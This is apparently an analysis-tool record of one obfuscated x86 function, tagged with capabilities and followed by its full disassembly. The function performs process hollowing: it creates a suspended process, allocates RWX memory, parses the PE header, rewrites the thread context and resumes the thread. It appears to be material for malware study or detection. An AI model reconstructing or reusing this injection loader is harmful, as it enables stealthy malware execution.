Function at 0x1000ec80
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x17c
mov eax, dword [0x1008d080]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x184], 0x4841f407
mov eax, dword [ebp - 0x184]
mov dword [ebp - 0x188], eax
sub eax, 0x819b9b3e
je 0x10012812
jmp 0x1000ecbc
mov eax, dword [ebp - 0x188]
sub eax, 0x8285ebd2
je 0x100120a1
jmp 0x1000ecd2
mov eax, dword [ebp - 0x188]
sub eax, 0x82b5a337
je 0x10012400
jmp 0x1000ece8
mov eax, dword [ebp - 0x188]
sub eax, 0x82b76ac3
je 0x10015cf3
jmp 0x1000ecfe
mov eax, dword [ebp - 0x188]
sub eax, 0x82c9f817
je 0x1001401c
jmp 0x1000ed14
mov eax, dword [ebp - 0x188]
sub eax, 0x84d57bda
je 0x10013a4c
jmp 0x1000ed2a
mov eax, dword [ebp - 0x188]
sub eax, 0x8500964f
je 0x10013595
jmp 0x1000ed40
mov eax, dword [ebp - 0x188]
sub eax, 0x85b569ed
je 0x10015dfc
jmp 0x1000ed56
mov eax, dword [ebp - 0x188]
sub eax, 0x85d06fcb
je 0x10013dff
jmp 0x1000ed6c
mov eax, dword [ebp - 0x188]
sub eax, 0x87320409
je 0x100153b7
jmp 0x1000ed82
mov eax, dword [ebp - 0x188]
sub eax, 0x882e5f2c
je 0x1001337e
jmp 0x1000ed98
mov eax, dword [ebp - 0x188]
sub eax, 0x88836d70
je 0x10012b72
jmp 0x1000edae
mov eax, dword [ebp - 0x188]
sub eax, 0x8cc6c2ef
je 0x100114d2
jmp 0x1000edc4
mov eax, dword [ebp - 0x188]
sub eax, 0x8cff35c8
je 0x10012c29
jmp 0x1000edda
mov eax, dword [ebp - 0x188]
sub eax, 0x8d5ad2e5
je 0x100159f3
jmp 0x1000edf0
mov eax, dword [ebp - 0x188]
sub eax, 0x8d648482
je 0x10015bea
jmp 0x1000ee06
mov eax, dword [ebp - 0x188]
sub eax, 0x8d785fac
je 0x10014a4e
jmp 0x1000ee1c
mov eax, dword [ebp - 0x188]
sub eax, 0x8e7b1802
je 0x10015d0c
jmp 0x1000ee32
mov eax, dword [ebp - 0x188]
sub eax, 0x8f6088c4
je 0x10014c3e
jmp 0x1000ee48
mov eax, dword [ebp - 0x188]
sub eax, 0x91426b98
je 0x10010f13
jmp 0x1000ee5e
mov eax, dword [ebp - 0x188]
sub eax, 0x91734440
je 0x1001634e
jmp 0x1000ee74
mov eax, dword [ebp - 0x188]
sub eax, 0x922ccef4
je 0x10012d26
jmp 0x1000ee8a
mov eax, dword [ebp - 0x188]
sub eax, 0x92eb0055
je 0x10015f4d
jmp 0x1000eea0
mov eax, dword [ebp - 0x188]
sub eax, 0x935b5b60
je 0x10013324
jmp 0x1000eeb6
mov eax, dword [ebp - 0x188]
sub eax, 0x93f3123c
je 0x10011135
jmp 0x1000eecc
mov eax, dword [ebp - 0x188]
sub eax, 0x94e67f33
je 0x10011021
jmp 0x1000eee2
mov eax, dword [ebp - 0x188]
sub eax, 0x95478363
je 0x10015d84
jmp 0x1000eef8
mov eax, dword [ebp - 0x188]
sub eax, 0x972f2e3d
je 0x10011c6a
jmp 0x1000ef0e
mov eax, dword [ebp - 0x188]
sub eax, 0x98ede88f
je 0x10015056
jmp 0x1000ef24
mov eax, dword [ebp - 0x188]
sub eax, 0x998315b1
je 0x10011598
jmp 0x1000ef3a
mov eax, dword [ebp - 0x188]
sub eax, 0x9b6cb9e2
je 0x100147e2
jmp 0x1000ef50
mov eax, dword [ebp - 0x188]
sub eax, 0x9c78d18c
je 0x10011ae9
jmp 0x1000ef66
mov eax, dword [ebp - 0x188]
sub eax, 0x9e20435a
je 0x10014d26
jmp 0x1000ef7c
mov eax, dword [ebp - 0x188]
sub eax, 0x9f5374fd
je 0x10011f0b
jmp 0x1000ef92
mov eax, dword [ebp - 0x188]
sub eax, 0x9fee8286
je 0x10011dda
jmp 0x1000efa8
mov eax, dword [ebp - 0x188]
sub eax, 0xa0d06bb3
je 0x100158a5
jmp 0x1000efbe
mov eax, dword [ebp - 0x188]
sub eax, 0xa1a19dbe
je 0x10015f28
jmp 0x1000efd4
mov eax, dword [ebp - 0x188]
sub eax, 0xa205a63c
je 0x10014e43
jmp 0x1000efea
mov eax, dword [ebp - 0x188]
sub eax, 0xa2cbf4b6
je 0x100122e1
jmp 0x1000f000
mov eax, dword [ebp - 0x188]
sub eax, 0xa3c0cecf
je 0x10012323
jmp 0x1000f016
mov eax, dword [ebp - 0x188]
sub eax, 0xa447b591
je 0x10015cd5
jmp 0x1000f02c
mov eax, dword [ebp - 0x188]
sub eax, 0xa46f0a2c
je 0x100112a6
jmp 0x1000f042
mov eax, dword [ebp - 0x188]
sub eax, 0xa550d007
je 0x100142b0
jmp 0x1000f058
mov eax, dword [ebp - 0x188]
sub eax, 0xa7687fac
je 0x100156ec
jmp 0x1000f06e
mov eax, dword [ebp - 0x188]
sub eax, 0xa891088e
je 0x10011d55
jmp 0x1000f084
mov eax, dword [ebp - 0x188]
sub eax, 0xa8b2072b
je 0x10012ec5
jmp 0x1000f09a
mov eax, dword [ebp - 0x188]
sub eax, 0xa8f1a529
je 0x100110fb
jmp 0x1000f0b0
mov eax, dword [ebp - 0x188]
sub eax, 0xa96285b6
je 0x10012443
jmp 0x1000f0c6
mov eax, dword [ebp - 0x188]
sub eax, 0xabb01f1f
je 0x100115a7
jmp 0x1000f0dc
mov eax, dword [ebp - 0x188]
sub eax, 0xadf5d538
je 0x10011674
jmp 0x1000f0f2
mov eax, dword [ebp - 0x188]
sub eax, 0xae4667ee
je 0x10014f6f
jmp 0x1000f108
mov eax, dword [ebp - 0x188]
sub eax, 0xae6a9d52
je 0x10011144
jmp 0x1000f11e
mov eax, dword [ebp - 0x188]
sub eax, 0xaf065ba2
je 0x10011999
jmp 0x1000f134
mov eax, dword [ebp - 0x188]
sub eax, 0xaf86a1cd
je 0x1001387b
jmp 0x1000f14a
mov eax, dword [ebp - 0x188]
sub eax, 0xb03a5134
je 0x10014523
jmp 0x1000f160
mov eax, dword [ebp - 0x188]
sub eax, 0xb07badd6
je 0x10012f6f
jmp 0x1000f176
mov eax, dword [ebp - 0x188]
sub eax, 0xb1afc322
je 0x10011189
jmp 0x1000f18c
mov eax, dword [ebp - 0x188]
sub eax, 0xb25359b6
je 0x100156fb
jmp 0x1000f1a2
mov eax, dword [ebp - 0x188]
sub eax, 0xb2c19883
je 0x100119cc
jmp 0x1000f1b8
mov eax, dword [ebp - 0x188]
sub eax, 0xb3d477f0
je 0x10013b62
jmp 0x1000f1ce
mov eax, dword [ebp - 0x188]
sub eax, 0xb44307e7
je 0x10011695
jmp 0x1000f1e4
mov eax, dword [ebp - 0x188]
sub eax, 0xb4bded3f
je 0x100120f2
jmp 0x1000f1fa
mov eax, dword [ebp - 0x188]
sub eax, 0xb4d027b6
je 0x10011030
jmp 0x1000f210
mov eax, dword [ebp - 0x188]
sub eax, 0xb54fe48a
je 0x100121e3
jmp 0x1000f226
mov eax, dword [ebp - 0x188]
sub eax, 0xb5c3885a
je 0x10011fbb
push eax
mov eax, esp
mov dword [ebp - 0x150], eax
push eax
mov eax, esp
mov dword [ebp - 0x14c], eax
push eax
mov eax, esp
mov dword [ebp - 0x148], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x144], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0x140], eax
push eax
mov eax, esp
mov dword [ebp - 0x13c], eax
push eax
mov eax, esp
mov dword [ebp - 0x138], eax
push eax
mov eax, esp
mov dword [ebp - 0x134], eax
push eax
mov eax, esp
mov dword [ebp - 0x130], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0x12c], eax
push eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0x128], eax
push eax
mov eax, esp
mov dword [ebp - 0x124], eax
push eax
mov eax, esp
mov dword [ebp - 0x120], eax
push eax
mov eax, esp
mov dword [ebp - 0x11c], eax
push eax
mov eax, esp
mov dword [ebp - 0x118], eax
push eax
mov eax, esp
mov dword [ebp - 0x114], eax
push eax
mov eax, esp
mov dword [ebp - 0x110], eax
push eax
mov eax, esp
mov dword [ebp - 0x10c], eax
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
mov eax, dword [0x1008e554]
mov ecx, dword [0x1008e550]
mov edx, eax
add edx, 0xc6ac94e3
sub edx, 1
sub edx, 0xc6ac94e3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x33ee35c1
mov ecx, 0x94e67f33
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100163de
mov dword [ebp - 0x184], 0xb4d027b6
jmp 0x100163de
mov eax, dword [0x1008e554]
mov ecx, dword [0x1008e550]
mov edx, eax
sub edx, 0x38e18860
sub edx, 1
add edx, 0x38e18860
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x16a4f1b
mov ecx, 0xf3ce8d7f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100163de
mov dl, byte [ebp - 0xf6]
mov eax, 0xae6a9d52
mov ecx, 0x503c6f13
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100163de
mov dword [ebp - 0x184], 0xd196ee03
jmp 0x100163de
cmp dword [ebp - 0x154], 0xefb8edd
setle al
and al, 1
mov byte [ebp - 0xf5], al
mov dword [ebp - 0x184], 0x196deab9
jmp 0x100163de
mov eax, dword [ebp - 0x154]
xor ecx, ecx
sub ecx, 1
sub eax, ecx
mov dword [ebp - 0xf4], eax
mov dword [ebp - 0x184], 0x24a23630
jmp 0x100163de
mov dword [ebp - 0x184], 0x5463e632
jmp 0x100163de
mov eax, 0x41320034
mov ecx, 0x2701159e
cmp dword [ebp - 0x15c], 0xefb8ef9
cmovg eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100163de
mov dword [ebp - 0x184], 0xabb01f1f
jmp 0x100163de
mov dword [ebp - 0x184], 0x17ed8fd7
jmp 0x100163de
mov dl, byte [ebp - 0xe5]
mov eax, 0x58574ffc
mov ecx, 0xb44307e7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100163de
mov eax, dword [ebp - 0x15c]
add eax, 0x8ebecc31
add eax, 1
sub eax, 0x8ebecc31
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0x184], 0x26807e5e
jmp 0x100163de
mov dword [ebp - 0x184], 0x11969f0f
jmp 0x100163de
mov dl, byte [ebp - 0xd9]
mov eax, 0x9c78d18c
mov ecx, 0xf17d19ed
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100163de
mov eax, dword [0x1008e554]
mov ecx, dword [0x1008e550]
mov edx, eax
sub edx, 0x43f82e74
sub edx, 1
add edx, 0x43f82e74
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8d648482
mov ecx, 0x4f7c49d6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100163de
mov dword [ebp - 0x184], 0x11969f0f
jmp 0x100163de
mov dword [ebp - 0x184], 0x3bbcd380
jmp 0x100163de
mov eax, dword [0x1008e554]
mov ecx, dword [0x1008e550]
mov edx, eax
add edx, 0xc786d597
sub edx, 1
sub edx, 0xc786d597
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc0d4878b
mov ecx, 0x9367f97
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100163de
mov eax, dword [0x1008e554]
mov ecx, dword [0x1008e550]
mov edx, eax
sub edx, 0xcc9ffe3d
sub edx, 1
add edx, 0xcc9ffe3d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf2a94b99
mov ecx, 0x7fce1b87
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100163de
mov eax, dword [0x1008e554]
mov ecx, dword [0x1008e550]
mov edx, eax
add edx, 0xa32ac517
sub edx, 1
sub edx, 0xa32ac517
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe7bbf9df
mov ecx, 0xb4bded3f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100163de
mov byte [ebp - 0x161], 1
mov ecx, dword [0x1008e554]
mov eax, dword [0x1008e550]
mov edx, ecx
add edx, 0x571ad5f3
sub edx, 1
sub edx, 0x571ad5f3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe7bbf9df
mov ecx, 0xce41a287
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100163de
mov dl, byte [ebp - 0xd3]
mov eax, 0xe50b7907
mov ecx, 0x35f54a13
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100163de
mov dword [ebp - 0x184], 0xa96285b6
jmp 0x100163de
mov eax, dword [0x1008e554]
mov ecx, dword [0x1008e550]
mov edx, eax
add edx, 0xe228803
sub edx, 1
sub edx, 0xe228803
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x133fade0
mov ecx, 0x46f7a495
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100163de
mov dword [ebp - 0x184], 0xc04d8083
jmp 0x100163de
mov dword [ebp - 0x168], 0xefb8ec5
cmp dword [ebp - 0x168], 0xefb8f16
setg al
and al, 1
mov byte [ebp - 0xd2], al
mov dword [ebp - 0x184], 0xfd5a6ff2
jmp 0x100163de
mov eax, dword [0x1008e554]
mov ecx, dword [0x1008e550]
mov edx, eax
sub edx, 0x57434019
sub edx, 1
add edx, 0x57434019
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3096bcaa
mov ecx, 0xc062c69b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100163de
mov eax, dword [ebp - 0x16c]
add eax, 0x974641da
add eax, 1
sub eax, 0x974641da
mov dword [ebp - 0x16c], eax
mov dword [ebp - 0x184], 0x3434fe8b
jmp 0x100163de
mov dword [ebp - 0x170], 0xefb8ec5
mov dword [ebp - 0x184], 0x5c04ef02
jmp 0x100163de
mov eax, dword [0x1008e554]
mov ecx, dword [0x1008e550]
mov edx, eax
add edx, 0x8ac0fa88
sub edx, 1
sub edx, 0x8ac0fa88
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc8573b83
mov ecx, 0x5524d465
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100163de
mov dword [ebp - 0x184], 0x4d855ffa
jmp 0x100163de
mov ecx, dword [0x1008e554]
mov eax, dword [0x1008e550]
mov edx, ecx
sub edx, 0x477958f1
sub edx, 1
add edx, 0x477958f1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3cf65769
mov ecx, 0x21db775e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100163de
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x184], 0x260c31db
jmp 0x100163de
mov eax, dword [ebp - 0xac]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x184], 0x50f0f358
jmp 0x100163de
mov dl, byte [ebp - 0xa6]
mov eax, 0xd773a0e
mov ecx, 0x677b893d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100163de
mov dword [ebp - 0x184], 0x3ca9eb7e
jmp 0x100163de
mov ecx, dword [0x1008e554]
mov eax, dword [0x1008e550]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6758edbd
mov ecx, 0xedfc175d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100163de
mov dword [ebp - 0x184], 0x45c7a16f
jmp 0x100163de
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 0xa4]
sub ecx, 0xc4460484
add ecx, eax
add ecx, 0xc4460484
mov eax, dword [ebp - 0x14c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x14c]
mov edx, dword [eax]
mov eax, 0x34fb7062
mov ecx, 0x4bb7363f
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100163de
mov dl, byte [ebp - 0x9b]
mov eax, 0x2f3845ad
mov ecx, 0x4b2f327d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100163de
mov dl, byte [ebp - 0x99]
mov eax, 0x19b4f711
mov ecx, 0xb632f59
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100163de
mov dl, byte [ebp - 0x91]
mov eax, 0x319a888b
mov ecx, 0xf522c32e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100163de
mov dword [ebp - 0x184], 0x76069ad8
jmp 0x100163de
mov ecx, dword [0x1008e554]
mov eax, dword [0x1008e550]
mov edx, ecx
add edx, 0x2add6075
sub edx, 1
sub edx, 0x2add6075
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5418e1e
mov ecx, 0x8636d8c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100163de
mov ecx, dword [0x1008e554]
mov eax, dword [0x1008e550]
mov edx, ecx
sub edx, 0x941c5e16
sub edx, 1
add edx, 0x941c5e16
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf0b00eb3
mov ecx, 0x3779c87c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100163de
mov dl, byte [ebp - 0x65]
mov eax, 0x3e10ea45
mov ecx, 0x271053bc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100163de
mov dword [ebp - 0x184], 0x5a57d333
jmp 0x100163de
mov eax, dword [ebp - 0x12c]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x51], al
mov dword [ebp - 0x184], 0x11b31d60
jmp 0x100163de
mov dl, byte [ebp - 0x51]
mov eax, 0xeb65c4d7
mov ecx, 0x5d7cc53e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100163de
mov eax, dword [ebp - 0x120]
mov ecx, dword [eax]
add ecx, 0xccd462df
add ecx, 8
sub ecx, 0xccd462df
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
sub ecx, 0xa19664e
sub ecx, 8
add ecx, 0xa19664e
shr ecx, 1
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov dword [ebp - 0x184], 0xf793d30e
jmp 0x100163de
mov dword [ebp - 0x184], 0xb25359b6
jmp 0x100163de
mov dword [ebp - 0x184], 0x1980146d
jmp 0x100163de
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x184], 0x338a4917
jmp 0x100163de
mov eax, dword [ebp - 0x18]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x1c]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x144]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x144]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [0x1008e554]
mov ecx, dword [0x1008e550]
mov edx, eax
add edx, 0xabac8ee3
sub edx, 1
sub edx, 0xabac8ee3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x39b233e2
mov ecx, 0xcbecba34
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x100163de
mov dword [ebp - 0x160], 0
mov dword [ebp - 0x184], 0x4f7c49d6
jmp 0x100163de
mov dword [ebp - 0x184], 0x3b31812f
jmp 0x100163de
mov dword [ebp - 0x16c], 0xefb8ec5
mov dword [ebp - 0x184], 0xee434ce6
jmp 0x100163de
mov dword [ebp - 0x16c], 0xefb8ee9
mov dword [ebp - 0x184], 0xb77fce75
jmp 0x100163de
mov dword [ebp - 0x184], 0x3b322b11
jmp 0x100163de
mov dword [ebp - 0x184], 0xb5c8fefd
jmp 0x100163de
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.1000e550
add esp, 4
mov dword [ebp - 0x184], 0x22329bcc
jmp 0x100163de
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 0x98]
mov dword [eax], ecx
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0x12c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x14c]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0x144]
mov edx, dword [edx]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0x130]
mov dword [eax], ecx
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x184], 0x2f157179
jmp 0x100163de
mov eax, dword [ebp - 0x104]
mov ecx, dword [ebp - 0x28]
mov dword [eax], ecx
mov dword [ebp - 0x184], 0xdc56eda4
jmp 0x100163de
jmp 0x1000eca0